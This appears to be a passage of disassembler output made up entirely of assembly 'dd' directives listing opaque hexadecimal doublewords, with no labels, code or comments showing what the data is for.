		dd 0D94802Ah, 1A1DBE90h, 29876D85h, 0ACC31C1Fh,	5619A836h
		dd 9F3E04BBh, 0D0FE43A8h, 296E4854h, 0B240A76h,	6287902Eh
		dd 3630B6A7h, 24CA20D9h, 3C9B7Fh, 0E6FD10E3h, 1A00ED9Ah
		dd 3BE1928Ch, 7C361Dh, 305D6816h, 357E93EFh, 21E74600h
		dd 6C5B8D45h, 679F073Ah, 0D052DC4Bh, 0D89C2EDh,	8145C13Eh
		dd 9D1EB29Bh, 8C40E1C0h, 77DB6F6h, 7037F16Ch, 0EA970067h
		dd 840003E7h, 32C29DFDh, 260EC98h, 0E9325E2h, 34CE8DAAh
		dd 96EFD638h, 0A8309C7Bh, 5F12376h, 336853Bh, 6EF890F8h
		dd 5015D5Ah, 0D97BBC4Dh, 71D40C2Ah, 2885F033h, 3CC443A7h
		dd 0BE8FCFF1h, 0C53EAB4Fh, 901D1FDBh, 38AE9564h, 9210BC18h
		dd 86B01Eh, 51BA5761h, 0BC65C66h, 9A153D07h, 2D9419C9h
		dd 2D50093h, 6D27D698h,	0F4602292h, 79029E40h, 50D1D728h
		dd 59C8A07Ah, 0FADDAh, 21CFDF38h, 0BE7BD4C9h, 9202F174h
		dd 8CF9DDCAh, 0AB988258h, 0CB8CC899h, 0A9C3308Bh, 9C04DFB0h
		dd 1010215Dh, 81B04C5Fh, 6B59121Ah, 98D40334h, 0F7FC8A4Fh
		dd 854089DBh, 0B607B0h,	2CC52000h, 2208E3C6h, 5366C900h
		dd 18E47ED1h, 0A090A816h, 0B70700AFh, 4DC4C119h, 1200AEE6h
		dd 4BB2DC6h, 0E632568Bh, 39A74DFh, 6FA40852h, 27C3DACAh
		dd 180B14Ch, 0F868FE8Fh, 5982618Bh, 0B3E29D71h,	2316BCECh
		dd 0F4007F10h, 0C0091773h, 0E08200E4h, 30ABE831h, 0E1C97128h
		dd 7524E8A2h, 68405C96h, 0F4958801h, 0E0D48AC5h, 572C05E7h
		dd 0E802013h, 2A9DC682h, 0D7B407D9h, 3F4EEC0h, 71D56095h
		dd 57651EA4h, 0B59FA2C4h, 0FD52201h, 5C412EDCh,	310EE488h
		dd 7F83EAF7h, 0A6D8DAF3h
		dd 0D80E878Ah, 0D2DBE3EDh, 74379802h, 4D994077h, 9A2D00A0h
		dd 21A41052h, 7E07068Bh, 0D09E4251h, 0E8636063h, 0C1F16Bh
		dd 0F35AB076h, 8EEF019Bh, 96BC1338h, 0A8008A91h, 22D379DFh
		dd 576E00ABh, 0A9B63E58h, 82002C38h, 2E8F101Fh,	773A18h
		dd 4BC7A66Eh, 71560521h, 9DC84354h, 20E004BCh, 0AFD8699h
		dd 0A69FCEBDh, 38770084h, 0CD276FB7h, 370278B2h, 4C3BA955h
		dd 15F4EE75h, 0EC39C4C0h, 0F285F900h, 1B53915Fh, 32D13507h
		dd 4BF3EE2Ah, 0DC9A85Ah, 0E1FD0444h, 807FF540h,	24993AD3h
		dd 2820980Eh, 828DC02Ah, 1D77514h, 8A47BAD4h, 30E38C18h
		dd 1F001D9Ch, 8B70DF20h, 2BC680h, 4C0D196h, 0D6240B69h
		dd 0C1931D02h, 0C00D6631h, 49156Ch, 0BB46C635h,	16D5F113h
		dd 0E173A001h, 843F687Eh, 0EC3B9024h, 0BC8A1D08h, 1F0AC09Eh
		dd 0BFB892EDh, 6C3CF890h, 1D0180F7h, 64FDAB98h,	89043880h
		dd 8017DC1Eh, 6B4D7BB9h, 0D42D3B77h, 6FA400D7h,	4E1C1D97h
		dd 0EA8C076h, 4D00A8CAh, 0CD0AAFF8h, 72E5FF81h,	9D193FC9h
		dd 97FD1500h, 0DE3570B6h, 3D67EA00h, 73258CEFh,	84F50042h
		dd 1E2CB716h, 774C4FDBh, 373F0064h, 46E24908h, 0CDE02FDh
		dd 17DB7629h, 0E4DFE840h, 9747201h, 0D42E2883h,	0FC008D31h
		dd 3DE86BAh, 1D0ADD11h,	0B05461E8h, 82004F98h, 0D902A9C2h
		dd 43490Eh, 664D9CB8h, 968C1608h, 0B0312473h, 489DD87Dh
		dd 418D70h, 540F7E17h, 0E4784945h, 70440300h, 6FC57BFEh
		dd 0E3DE0067h, 93C16EE1h, 0D60F8633h, 2051D9BBh, 65552331h
		dd 75BAFAF7h, 9047F85Dh, 36E0F0h, 0E92A16Ch, 18E7DBF8h
		dd 54C80A24h, 0E896EA80h, 888D6Fh, 5ED33B9Eh, 2B7185FAh
		dd 0E9A55300h, 0E8229B55h, 12AF00DCh, 0C3E69E15h, 1300BF11h
		dd 5F476162h, 0FE0FA0h,	0BA896659h, 818CE25h, 0AA57AE0Eh
		dd 0E9DC04Dh, 14D324E0h, 0DCBEF267h, 0E1291D00h, 3A0F03DDh
		dd 6446D800h, 0C5254086h, 87C4014Dh, 66EBC3B2h,	70B42CE8h
		dd 3074ED09h, 14A0016Bh, 68345446h, 0EA520E1Fh,	0E5406817h
		dd 0E7B1400Bh, 0B0C27F24h, 0C7454700h, 6EE274E4h, 8E403079h
		dd 99AA1A17h, 9A48E000h, 9CD9C47Ah, 5307260Bh, 0F4CC07B8h
		dd 0B31732E9h, 31576CC1h, 0D08887A5h, 1C6275ECh, 4CBCC6AAh
		dd 97001461h, 3DFDD718h, 0BD0ECC72h, 706FFE3h, 5B9092B6h
		dd 6A7159h, 96C118E1h, 0B0D9E725h, 0EEA57306h, 0E1D10F3Eh
		dd 0B378DE0h, 5C2556A9h, 7C2934E0h, 0A475F705h,	0A491FC20h
		dd 9838B128h, 0AFA0304Ah, 690E113Eh, 0A3627F55h, 0E8DA4BF0h
		dd 2CEBC05Ah, 0B8FAC4h,	375D512Fh, 3606E934h, 891E32FFh
		dd 35E52C40h, 789825F8h, 9E042C2Fh, 726BC8E7h, 0C0667492h
		dd 138ACB0Ch, 80F9534Ah, 1F93A9E8h, 0C99D298h, 73EFEB80h
		dd 9FCE6F3h, 0E2CA2A99h, 6979B700h, 1E168052h, 48366085h
		dd 0F25E00F8h, 6A7A29B2h, 0C09A3708h, 8852F02Ch, 0B814E681h
		dd 0F463E439h, 2646D09h, 0BAE8ACA1h, 0DC2C5022h, 0CB5D68B9h
		dd 1C56002Ch, 979A2433h, 2C12E2ECh, 38E3110h, 50CD4F52h
		dd 0CAF22B0h, 0EE805CB1h, 4DBDE21Eh, 492C60CDh,	0C02F96B7h
		dd 0A1317C13h, 6DC414h,	0AE63A5CFh, 3492DDh, 60A92EC3h
		dd 0DE2893Fh, 0FEEA7500h, 0D2DC3A0Eh, 1A150571h, 33F68Dh
		dd 0D5AD9785h, 0B5138FD3h, 38803A5Eh, 0E4D638h,	923507A7h
		dd 488B8AC8h, 861E9E7Fh, 0D9C079A8h, 5D110BA4h,	0EFF485h
		dd 0F4FF7EA6h, 0DA7D464Eh, 34D911C1h, 0A0C33342h, 0C79B3Ah
		dd 266E2785h, 3D360E65h, 87B6B238h, 5E632A25h, 19A85A90h
		dd 122BB08Bh, 42F9F1D3h, 2E91B584h, 2E0C5CC9h, 0A6EE9005h
		dd 5A527892h, 809638F0h, 0F4CFB580h, 0E72AE65Ah, 0A68CFE61h
		dd 0EDF48132h, 0AF80071Eh, 50E36871h, 842AE9DAh, 5D0F6E00h
		dd 9E933DB6h, 0DD48003Ah, 7B9FED5Ah, 0E900898Eh, 1D25E30Eh
		dd 90C34F2h, 2AEAD43Ah,	0F120DCF8h, 360D28F4h, 16DB3CBCh
		dd 934F870Eh, 1FA41740h, 58F2530Bh, 20C95400h, 3A685A12h
		dd 0AEF20007h, 0DE6F6DCEh, 97004CF8h, 0A73B5E2Bh, 2C575DF9h
		dd 0B24C269h, 0B40092C4h, 0C83F23FEh, 6C0ED9FCh, 0B7AEEABAh
		dd 4CE62510h, 2B1700FAh, 95800B38h, 0BBA12435h,	88C800E0h
		dd 3748B290h, 71BFE018h, 818041h, 11354CBBh, 0D65BAE02h
		dd 39008DF4h, 0FBEAC1F9h, 162A07C8h, 0FDBDCD8h,	4E614446h
		dd 30CC59F3h, 702DC1B0h, 488CC43h, 0B463C767h, 0C290E80Fh
		dd 0A0D83317h, 0B2D0E2E4h, 0A998009Ch, 5E673E15h, 0E373F22Dh
		dd 16CC009Fh, 50085Fh, 0F8D52966h, 0D2261AE6h, 0C8B17A17h
		dd 0C0740CC0h, 0DDA90161h, 66233036h, 2DFC291Ch, 0A80CB385h
		dd 4AE32954h, 0A880C5D9h, 69770010h, 82EEC89h, 1452005Bh
		dd 20A7A60h, 0F0B811B0h, 3A0BC613h, 57C4351Ch, 0BCC01EACh
		dd 6D4548h, 8210634Fh, 0F350D824h, 2DB2191Ch, 45A68F87h
		dd 0EDB73460h, 0FCDA006Ah, 53160A4h, 0AB4A73EBh, 0B6197C90h
		dd 3A301E8Ah, 1655C03Bh, 888CDC36h, 0FF562300h,	664E40CCh
		dd 0B5400FEh, 0F6761186h, 0A358FD7Dh, 0EEAF037Dh, 0F039A7A5h
		dd 2D2BB7B4h, 2880C788h, 0E3DB1CD8h, 6A9F7802h,	0E1BBD779h
		dd 12C46E74h, 0EE412FF1h, 14AC7420h, 8D7F666Ah,	44AB1900h
		dd 0E4AA683Eh, 0FE972AEh, 0C3CFE6A7h, 46A0C5EFh, 13428E7h
		dd 0E8DE0E00h, 0B17E2EBEh, 0FD21674h, 331B0130h, 0C0FFACE5h
		dd 881F4463h, 86802705h, 41DC812Fh, 6DC200AFh, 2D82DA90h
		dd 373C5564h, 0CF13FD74h, 0D80004B8h, 3173C4A2h, 1A6A0025h
		dd 9B3489F4h, 0B71F0DB6h, 60CBD25Fh, 125703B4h,	2C5AA030h
		dd 973A3AF9h, 90635D97h, 533E6204h, 98791B01h, 0CE5B2DDBh
		dd 1D83F8h, 55A6B6C9h, 0AD7D53F7h, 0EBC24F00h, 93AA4663h
		dd 0E5A90565h, 8056D7D8h, 0A81B0DC8h, 90D52700h, 336187BEh
		dd 0EEB00723h, 9ECD2Ch,	0BF0CDBD3h, 0E3329400h,	6DD746BAh
		dd 68A4000Eh, 0F9384CC9h, 4A04AE01h, 0E7A5B475h, 0A023C8C3h
		dd 9E91E113h, 4BB50080h, 1089D89Ch, 0DC0160D3h,	6824150Fh
		dd 261EB2F4h, 84D81321h, 0D01AE245h, 0B748A4ECh, 0CE019778h
		dd 22D49225h, 0E1EC7720h, 0B4CB0BB5h, 4909F432h, 3C58AC07h
		dd 30005AC1h, 0EC27F2B1h, 4937D8h, 48AB2A9Ch, 6F15312h
		dd 0CB6AA400h, 0D8B23622h, 0E3100058h, 0B7C93511h, 1A063769h
		dd 0E83C0882h, 8FEB1388h, 6CCC0718h, 0EA27D0h, 4EAEA1C6h
		dd 0CED22101h, 0FA19D136h, 0CFB0C8h, 0F181654Fh, 0E476FCA2h
		dd 4812AF32h, 7C92E087h, 8B6B0C45h, 0F3C915A7h,	3C5F44B0h
		dd 0FB9C6C81h, 123BCA60h, 0F2844B9h, 0FCE2F7A4h, 7FC0C12Ch
		dd 340096E7h, 960B07Dh,	76C2FF12h, 0E04203F8h, 1890EC87h
		dd 66A346B0h, 3167F715h, 4B070BCCh, 0F330103Ah,	28054D87h
		dd 36056D3Ch, 9040F654h, 7CCD72BCh, 0BB0FCF2h, 0A2744606h
		dd 44813AFh, 0B478676Dh, 18E8CBh, 41540351h, 0E8315F63h
		dd 982BB0D4h, 0B571C22h, 40DD4B39h, 6A2B9460h, 6B25EE01h
		dd 7FCBDA21h, 2E4E48C0h, 80B4B723h, 83526D85h, 9E0053BAh
		dd 0D55FAA9Dh, 0DE10F1h, 3E70EAD8h, 5D121AA7h, 28C044Ch
		dd 8F989B79h, 4AA469E6h, 7BAF2FCh, 0F1A5C610h, 0B6A4232Ch
		dd 9BE03BDBh, 0F8005201h, 1362C7D4h, 2E7B2177h,	8080650Dh
		dd 334C1730h, 9B0F4B04h, 8593B88Ah, 0D4D0F4C5h,	0F320BFh
		dd 0B48BEADh, 0C4349BA5h
		dd 0D9A16C00h, 579DC3B5h, 6BACA853h, 7839016Fh,	86EE9C9Bh
		dd 661983F8h, 4E7A69Fh,	0AAEF1DB1h, 0D972C07Dh,	2C05040Ch
		dd 47CAC14Bh, 0FCF4880h, 1E8598C9h, 3AA19420h, 841E2A80h
		dd 48CD5958h, 1D14735Ch, 270208EEh, 609EC7E3h, 9240F2F4h
		dd 2EEDFA58h, 149B260h,	1392A416h, 0D873C4E6h, 1A00BEF8h
		dd 6501F1C9h, 1DDBBC2h,	2484F677h, 80BDF9F0h, 0E58BB911h
		dd 0CB4F9Ah, 6B1CDA34h,	1AABE8D7h, 5E01B0F2h, 4A6F123h
		dd 5A96EB2Eh, 0D00C4020h, 0ED6A8AB7h, 24F4Ah, 503F0E19h
		dd 0E244FFDCh, 1F82C780h, 79A9719Dh, 0D92B181Eh, 72BE31B8h
		dd 2C662048h, 6E007054h, 265621A9h, 80E0007Fh, 0FADB7124h
		dd 0D40119FCh, 4F01AC1h, 0D2605032h, 38391209h,	6EC08092h
		dd 5630DE8Ch, 704328BCh, 12900541h, 0C2FB94C6h,	3870FC9Ah
		dd 0D1FA0178h, 0C9002371h, 644B2BC7h, 0A0A05297h, 9C9C1EE4h
		dd 0F08400CCh, 1301EEA3h, 0E9316B90h, 74E8A888h, 0A0C5C0h
		dd 4ABAB164h, 8047C3E6h, 5DF0785Ah, 3F9B00FFh, 71EA625Ch
		dd 2B001C57h, 41F0CBA8h, 14DABC23h, 0A4E7D08Fh,	280F0400h
		dd 0B3B01529h, 51EC455Dh, 0A037F4F8h, 5593D100h, 0FC537F33h
		dd 7BBC01DFh, 35AF662Dh, 586BEC84h, 2244B800h, 67D065C3h
		dd 4D44EF2h, 0A9BEC12Ch, 0D606801Ch, 7603F79Eh,	925900E2h
		dd 0EA951444h, 5C003277h, 502D1BEBh, 0C8FEBCh, 0D2F6538Dh
		dd 0A79F34BFh, 0BA40C100h, 63BEDF95h, 98907D0Fh, 5FAC1F2Ch
		dd 0E5B5C0B8h, 949FDE15h, 9E9D2C12h, 5876CE0h, 8A867C1Fh
		dd 0B1DC04EAh, 0EFFB40F3h, 7C72E3A9h, 3F9703ECh, 0EE2D207Dh
		dd 0A51558D8h, 2C5D8000h, 0B1D4B565h, 0C0795E42h, 13BFF37Ch
		dd 0A50FCEE6h, 80474A66h, 91B53660h, 14460757h,	609F01A2h
		dd 0A8FA29D4h, 0B0961831h, 0FE6071B5h, 0F724244Eh, 686E0318h
		dd 0E2E08406h, 0DA00CDBBh, 0AB8741A6h, 24EB7FD1h, 3FC3E60h
		dd 937471FBh, 0D5C26480h, 2C5C8300h, 2A78EB30h,	5C1B5908h
		dd 0E0D1F412h, 381D8E58h, 0C06DC310h, 0E93448h,	9EBF31F1h
		dd 8A8651Ch, 0F70129F0h, 0FAB9132Ah, 8688227h, 7E240B4Ah
		dd 0F313BB5Eh, 62DFD402h, 60C0D952h, 2B6CDB46h,	5EC8C404h
		dd 6CF09CA4h, 0B82C3B16h, 0DED9BC00h, 4AF76F41h, 7380C060h
		dd 2D947725h, 0BCE95BF8h, 24F1D4FDh, 650067FCh,	0D3CE96ADh
		dd 5C2B3762h, 4824A4E0h, 92390519h, 0B3A0C0DFh,	158FE78h
		dd 0D3127D42h, 8CC2D819h, 4028564Dh, 664E6D70h,	0CCD7C81Eh
		dd 0C52E580h, 0F204B93Ah, 0E00E03F0h, 0CD47ED28h, 7FD313B8h
		dd 399024A3h, 84071FBAh, 5F04FFAAh, 64A92045h, 0E72C2880h
		dd 140F2763h, 7B2F26Ah,	6EC00C03h, 639A9D4h, 0DF86FD2h
		dd 3B0388D5h, 0EF9A9FB2h, 5230DFDCh, 1AC549h, 7C688EAEh
		dd 0F1079C1Bh, 0F505BE00h, 4710AC21h, 0C120044h, 286C5290h
		dd 2E00DC50h, 0F3351E6Ah, 12493A68h, 7610BC9h, 90110434h
		dd 0FFE12A8Bh, 469D7116h, 0F87EC00Ch, 281FE6Eh,	4949278h
		dd 0EC725256h, 5A7EF612h, 0F200D852h, 0F0F7510Ah, 487A0040h
		dd 77A558EBh, 5560DB30h, 0E9261568h, 63C30012h,	47D8D6A1h
		dd 7E0093DCh, 0CFFFAD4Eh, 17BDA5Bh, 0C616F670h,	0C4573E23h
		dd 28EE0763h, 0D3BC2600h, 21B21158h, 51403FA3h,	24BE3502h
		dd 80E01A07h, 3A485C8Ch, 93B27A0h, 225C78D8h, 3CF4A725h
		dd 50F0B8D3h, 0B17C81h,	4D0B2835h, 67830C80h, 0E6EFB900h
		dd 9DBFDC32h, 39551C4Ah, 78B4415Bh, 7B15B1AEh, 0C0334C4Eh
		dd 0B338C6CBh, 0B5810030h, 0F2A23B6Fh, 0F40EEA89h, 405F568Ah
		dd 3C41F5BDh, 9C6327CDh, 89FBB801h, 472320C6h, 1BC80700h
		dd 589580FAh, 24E901D1h, 0BDD80D6Eh, 7C49E0F1h,	9B097B77h
		dd 5683D0DAh, 4FAF0114h, 0D2A1C445h, 44DF1E60h,	0E809E8D2h
		dd 0D8519Ch, 4B6815EFh,	6F00E184h, 5E0CA553h, 9FC110E4h
		dd 0A8980485h, 0B2810044h, 0CEAD2B1Eh, 0D22100C7h, 0CC3BD70Bh
		dd 0E100F82Fh, 0BB081BA5h, 13960C8h, 56BEE3FFh,	0C4BCF9C7h
		dd 0AB01E527h, 4DD1ACE0h, 26C42BDBh, 19C50059h,	84A0613Bh
		dd 0D6002D4Ch, 0C8AC9AA2h, 1081AFAh, 25EB75D0h,	7E34A65Ah
		dd 83480Eh, 0A738AF9Ch,	639901F9h, 4C41D53h, 0A08FE6B9h
		dd 0DFF712E0h, 301C762Eh, 2A3CD785h, 4600AC16h,	0EE9E8226h
		dd 0E2EF532Eh, 98DE0029h, 0F16516D6h, 600058B5h, 0CE5DB8ECh
		dd 0F487A6E8h, 6A1A48EDh, 2CC4017Bh, 63405B2Eh,	0FCD02B5Eh
		dd 88E43CB0h, 0D0EDB3Ah, 82EB39C3h, 60FE5CBFh, 0F8F33804h
		dd 18C9E821h, 31E6B1B2h, 2E01C166h, 45FBD1D6h, 4CD0E9E0h
		dd 241700AAh, 0B1385EF6h, 410B0362h, 0A06BEE2Ah, 301DBF60h
		dd 8058DF32h, 0FBE1F20Eh, 140ECA2Dh, 4C20C822h,	78BD60A2h
		dd 2ED863AAh, 601DDA50h, 294AE048h, 0D8062899h,	1F319E7Ah
		dd 0C00B6620h, 170ADF74h, 0F028F822h, 1C0610A7h, 0D33A6B98h
		dd 3FD90FE8h, 808063D2h, 0C2CD7121h, 0ACC75700h, 76DC6A26h
		dd 0F0A04A46h, 0E3F61A20h, 1E00CA70h, 0DF4143FFh, 0C74032h
		dd 2F42714Dh, 90FCC67Ch, 43CBB201h, 2D0A8B0Dh, 0D00EF4h
		dd 0FD4E0812h, 0CDF48C26h, 0ADE1CF01h, 3E9418B4h, 892EECh
		dd 0DD494807h, 0FB0560C3h, 0D1E15725h, 20028034h, 5CC01215h
		dd 0C14F131Dh, 0F7774A00h, 3F3D0684h, 7B9F72CCh, 80FF00AAh
		dd 0AC0D87CEh, 0FE86B401h, 42811839h, 0B771080h, 74DF774h
		dd 97EF0F3Eh, 4B00E4A1h, 85C2533Eh, 0D21100DAh,	0CC7E1473h
		dd 0F0E31287h, 821E0E75h, 720E70AAh, 533D80BEh,	78D477BDh
		dd 0D55D003Ch, 4A551B11h, 423AB681h, 49A04C12h,	4C868B0h
		dd 4085DFF5h, 0C4C0FAE0h, 5C209F5Bh, 1D800C3Fh,	39C8DD32h
		dd 6B0E3B03h, 0A30DE360h, 202100D4h, 0B15DDD3Ah, 0DC78384Ah
		dd 0CCFAD62Eh, 0E7506601h, 0AC709FD8h, 3E260064h, 3241B540h
		dd 9B60D521h, 0B2540781h, 1E220328h, 6E2AE10Bh,	90F10830h
		dd 3C4BE9BDh, 0C901D2B2h, 149BE560h, 897CEB70h,	0C9491E30h
		dd 6768D430h, 126680F5h, 330710A4h, 0CE36183h, 56DEC251h
		dd 34006F30h, 0FE745DEBh, 593E72Ah, 0C7B2474Ah,	0CDEFC02Fh
		dd 30158D62h, 7C9460FBh, 0A1B3E402h, 0FE99E516h, 27E10797h
		dd 0F01A900Dh, 1E1B3D77h, 0E17829E6h, 3BF164D9h, 0D3A8F88Fh
		dd 30866C63h, 9C741000h, 0D9C2D4A4h, 2DE20CB8h,	0F7696AFAh
		dd 515C2F00h, 2E0271E0h, 3213AD8h, 15210F30h, 0F50F5C17h
		dd 0A3757A83h, 0F3D9B8h, 478443E1h, 7261E3D2h, 3E399700h
		dd 9B2A5D48h, 8CB701BCh, 0D181B850h, 0F8B4406Dh, 59C22FAEh
		dd 903AE2B9h, 115C2844h, 88F9E048h, 10188709h, 88DD305Ch
		dd 8200FF79h, 7E9C6048h, 91D696C3h, 540C3830h, 0DAF8113Ah
		dd 32285E10h, 9F58B604h, 27389823h, 39CFDD04h, 0EC320DE3h
		dd 0DD2EFD20h, 0FF2003D0h, 0ED2F1FD1h, 0D975B0A7h, 0BA6080E6h
		dd 0D254DF58h, 1970DE42h, 0D085893Eh, 1D63B72Ah, 0D8CE1311h
		dd 0CE35847h, 2BB0A341h, 21C71408h, 5230C616h, 0E6B649E7h
		dd 38BA0785h, 5C348699h, 2047791h, 8C721F28h, 60EBA888h
		dd 64D6F970h, 0B5FA9335h, 0E4F1F400h, 0C8EC9EF7h, 0DDA8C144h
		dd 808E8865h, 0B9124120h, 758CA7E3h, 0CCF18010h, 3FDEC90Fh
		dd 5F7F84B5h, 852ED080h, 74FB4831h, 0F5B884h, 3FBDBB30h
		dd 5A78A1B2h, 680C6DE0h, 11802053h, 62CF8E2Dh, 312B5B32h
		dd 7731006h, 1D42E8A6h
		dd 647E63Ah, 78FD50D4h,	0ABA3D00h, 305F1FB8h, 0EFCD247Ch
		dd 8C6E84FCh, 1B620005h, 2983F741h, 1C3C1457h, 5845C2C4h
		dd 0BC9646B3h, 0A61C5C00h, 63DAC33Fh, 0A5AC00BAh, 0D8B6A9D3h
		dd 0E17E8664h, 846249Ah, 29091448h, 24B11622h, 0E8EA13F2h
		dd 29DACB2h, 7DC25D0Dh,	0D4A054F8h, 0FFF1DF1h, 0E6CF161Bh
		dd 0C6601031h, 0B251C0DAh, 8CA62183h, 320620h, 0A2B248E0h
		dd 0B17C42B9h, 0BB919900h, 6525CA03h, 0E0B39E1h, 0B7400509h
		dd 6039B404h, 10555C2Bh, 0B00311E0h, 5C1331h, 54286132h
		dd 21C54B1Ah, 0EE745F12h, 3071140Ch, 0E740200Eh, 50275700h
		dd 226DF74Dh, 1B1C30AFh, 78D3C628h, 2480DF4Dh, 30B02C53h
		dd 35293Ch, 0DE97A3CDh,	0F080CACEh, 4A5CB101h, 0FA3F5E23h
		dd 0D622A032h, 0E2C32200h, 0E1CA7E35h, 0EEC472D8h, 0D4620432h
		dd 0D031FE54h, 9EF7374h, 0AC9A8D00h, 5EF7879Bh,	213C98BDh
		dd 2C11E1CFh, 525C2E80h, 88A729E0h, 5C163200h, 8FF773h
		dd 0B1D668C0h, 13076392h, 0A1E1C230h, 7D1EAC7h,	62B0E51Bh
		dd 999B0020h, 0CF0C73EEh, 3042EF0Ch, 5E4C062Fh,	84A3130h
		dd 5C58F826h, 0E2AC943h, 0EBD80718h, 6F007EB0h,	9C0A91D3h
		dd 925B47h, 2C487C87h, 0FA68F38Eh, 6D58807Ch, 8CEDE874h
		dd 0AEB66500h, 509209B7h, 7B0C013Ch, 0F8190B6Fh, 9905C755h
		dd 4329CCE8h, 5237B007h, 0DE8F3F31h, 0E810FB31h, 1250AC3Eh
		dd 8FBE1E0h, 0CAC716C0h, 0C3584331h, 5A881218h,	75A60022h
		dd 0D6D414D2h, 0FE0C2687h, 8158FB3Eh, 10AE005Fh, 984BB7B0h
		dd 0BB0B35C6h, 210DA476h, 0A1645EF8h, 90C2F996h, 0ED5D9404h
		dd 0DC09FD7Ah, 8AABD165h, 2174B47Ch, 928131EEh,	0ED3925D5h
		dd 0DFC6F180h, 72E4CAABh, 0D3EFB4FCh, 5B0179E0h, 9056C202h
		dd 90C53214h, 11B25034h, 887E222Ch, 3DD97EFh, 0ED4DB006h
		dd 9CA9A1C0h, 0B891F87Ah, 3FB73A83h, 0F80CE776h, 24DC3040h
		dd 0F7805E26h, 985D9B2Ah, 8C19B726h, 58031110h,	0FAD788E0h
		dd 0A6732838h, 4616EC0Fh, 0DA488460h, 2B3910B6h, 80EBC80Eh
		dd 6DDD2FFAh, 3701CEB0h, 38A63477h, 9E3E9A4h, 0DAC1FD58h
		dd 8BB58420h, 0A60CF375h, 809D69A2h, 12C492C6h,	2F843205h
		dd 28082310h, 47AA7h, 8DDA4ECDh, 0C5B05B06h, 1D4CF859h
		dd 3B0A075Dh, 0DA82B89Dh, 804388E6h, 861984A0h,	18D0BA1Ch
		dd 0D9E0D6DEh, 0FCA128F4h, 24E83C41h, 81AC8EDh,	449C4721h
		dd 49506106h, 5BDE6560h, 5D2C47D4h, 0B840C387h,	6E261107h
		dd 0C990F317h, 246D053Bh, 2CE0223Fh, 0FFB140ACh, 97B85299h
		dd 8BC1EF00h, 0F82EE5FBh, 615E3242h, 1860BDB1h,	9C9818A5h
		dd 61BF4030h, 3F283739h, 0B0ACA84Bh, 0ED4F0106h, 736E8211h
		dd 3008A24Ch, 6C39BAF4h, 181DC811h, 0F8A9FB3Bh,	5149963h
		dd 0D295B460h, 24617420h, 52BC3015h, 904021CBh,	48D4664h
		dd 1DD57BEFh, 408CC862h, 0E721BB61h, 0A5C0E26Bh, 29978D1h
		dd 0B742F78Bh, 9C683081h, 3891D7C2h, 801F003Bh,	0D2480676h
		dd 97209F0h, 0A881BE93h, 0C4D9522Fh, 2904EB40h,	0B96349C6h
		dd 6E280A2h, 2D154032h,	905A09EDh, 0BC00AA55h, 0C1741E3Ch
		dd 0AC9FDE29h, 861812D1h, 2D3038h, 93DB9107h, 0C05958F7h
		dd 4982B779h, 0ED24C862h, 9BEE0FEh, 9D6A68A3h, 80EE11F8h
		dd 0E05346F7h, 0D87E286Ch, 0B8500BD4h, 18AFE7D0h, 6051A04Dh
		dd 6B0197E3h, 0CCD444B7h, 8472FCA9h, 4A010723h,	6E222AB2h
		dd 0E7803463h, 0D20CB221h, 9F64E801h, 0D5DCF4A9h, 15D7CC20h
		dd 880E0289h, 3A5DE305h, 70D423h, 265B09Ch, 0CA165EFBh
		dd 8C0C5056h, 0E6799Fh,	28FD6F0Ch, 0A3380FEFh, 0D09940E6h
		dd 0FC3D402Fh, 8670F110h, 0B32701AFh, 7F45DC98h, 0C0A835D6h
		dd 0C586DB4h, 3C8F2E6Ch, 89F96708h, 4C0A4C37h, 0D02428B8h
		dd 0BC940808h, 0FA15784Dh, 6303D847h, 0E717B18Ah, 7640B9C0h
		dd 2C1EAD17h, 1C106C01h, 446264D4h, 148CAA05h, 6D84031Dh
		dd 56A2C190h, 35ADB700h, 34640923h, 0A4009CEAh,	5AFB3F41h
		dd 13AB688h, 229BF610h,	0D0A4CBA5h, 0A203EE62h,	0F159BE97h
		dd 0B0918F4Ch, 1C24F929h, 0B9DE7C53h, 663802D8h, 0A8825478h
		dd 786169B0h, 29D2F030h, 0A4627B25h, 0C9631360h, 1B5844D8h
		dd 0B9DF658Ch, 19A2805Dh, 0E491F1E1h, 533F023Dh, 58F63C02h
		dd 0F84A26C8h, 360F4008h, 1B00643Ah, 549AD001h,	18573EA6h
		dd 0B8F38998h, 0EC14745Dh, 794E90Ch, 52D103D6h,	4D9F58A1h
		dd 31076066h, 7839C9DDh, 234FE8C4h, 7F96DDA3h, 27147AD8h
		dd 7CA53CC0h, 61B0BEF3h, 0EB760D3h, 0D841DE91h,	0F7442403h
		dd 0CD5E00Ah, 4E849CAAh, 2301EA8Ch, 7410B1B7h, 4A175C88h
		dd 0A0F081CEh, 447C9841h, 0B424E055h, 8C245059h, 8441D6Bh
		dd 80693203h, 0A82E0CD4h, 14F204F3h, 0E4B1F856h, 50266300h
		dd 0AC04783Fh, 2CA459F7h, 0A829F3B8h, 0EAFDF200h, 3B3E1519h
		dd 8B10CC01h, 0D3185836h, 24317171h, 783F7440h,	0FC5D04A9h
		dd 0C481D022h, 0AC7887C0h, 504847B1h, 306F0184h, 0FACF29A4h
		dd 20D48832h, 574312B8h, 2DF07C00h, 193D78C0h, 5F2722F4h
		dd 6DE005E0h, 4C4ACCEh,	0B8713132h, 9B15EFCh, 0D9804690h
		dd 44CB048h, 76454E00h,	0DEFDE58Ch, 0A0900EC3h,	0A1A7D3D8h
		dd 0EA601DAh, 0ABC424A3h, 10B76305h, 0B0219CF8h, 2840DAD0h
		dd 0EC9BCC2h, 7D6460D9h, 0AA430560h, 5602A82Dh,	2AAEADB2h
		dd 82EC6210h, 79391220h, 0B36600F8h, 98C6951Bh,	0BF4E7400h
		dd 1C627917h, 0BCBA0053h, 64DAD390h, 277A2E6Fh,	1758C72Dh
		dd 80EB11A0h, 0F60A3FEDh, 0DB40024Dh, 0D534D442h, 149EE082h
		dd 9AC04C4Dh, 0B8C2336Fh, 0F6EEEC00h, 27534E8Fh, 0DA2FD110h
		dd 0F473ECFAh, 4E85820h, 0A4663DB7h, 28A88104h,	88684B7Dh
		dd 9380CFEEh, 8F0322F5h, 0D868B416h, 11632C1Fh,	0DA9860BFh
		dd 9E3F2A6Ch, 56D908D8h, 0FC853900h, 498746D8h,	54C48419h
		dd 605CCCA1h, 666C61Ch,	0F53F1680h, 0FFDE4921h,	0F1E04C71h
		dd 0FAC30094h, 117FAA15h, 807D54EEh, 0A63918B1h, 0D46090EAh
		dd 0C54090AEh, 8583C488h, 0DB8C00F8h, 0EC797C3Ah, 202DCCA1h
		dd 0B7886B38h, 35454B14h, 883C8BB8h, 0A85FC015h, 2021835h
